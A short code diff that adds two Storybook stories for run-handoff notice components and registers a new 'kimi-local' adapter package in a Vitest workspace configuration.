@@ -192,6 +251,9 @@ type Story = StoryObj<typeof meta>;
 
 export const AllStates: Story = {};
 export const PinnedNotice: Story = { render: () => <SuccessfulRunHandoffPinnedNotice /> };
+/** Handoff required, but a correction run is live — no alarm. */
+export const InFlightNotice: Story = { render: () => <SuccessfulRunHandoffInFlightNoticeStory /> };
+export const LivenessComparison: Story = { render: () => <SuccessfulRunHandoffLivenessComparison /> };
 export const ActivityEvents: Story = { render: () => <SuccessfulRunHandoffActivityEvents /> };
 export const IssueCardIndicator: Story = { render: () => <SuccessfulRunHandoffIssueCard /> };
 export const EscalationComment: Story = { render: () => <SuccessfulRunHandoffEscalationComment /> };
diff --git a/vitest.config.ts b/vitest.config.ts
index 10649e7c931..f4dda31b463 100644
--- a/vitest.config.ts
+++ b/vitest.config.ts
@@ -13,6 +13,7 @@ export default defineConfig({
       "packages/adapters/cursor-local",
       "packages/adapters/gemini-local",
       "packages/adapters/grok-local",
+      "packages/adapters/kimi-local",
       "packages/adapters/openclaw-gateway",
       "packages/adapters/opencode-local",
       "packages/adapters/pi-local",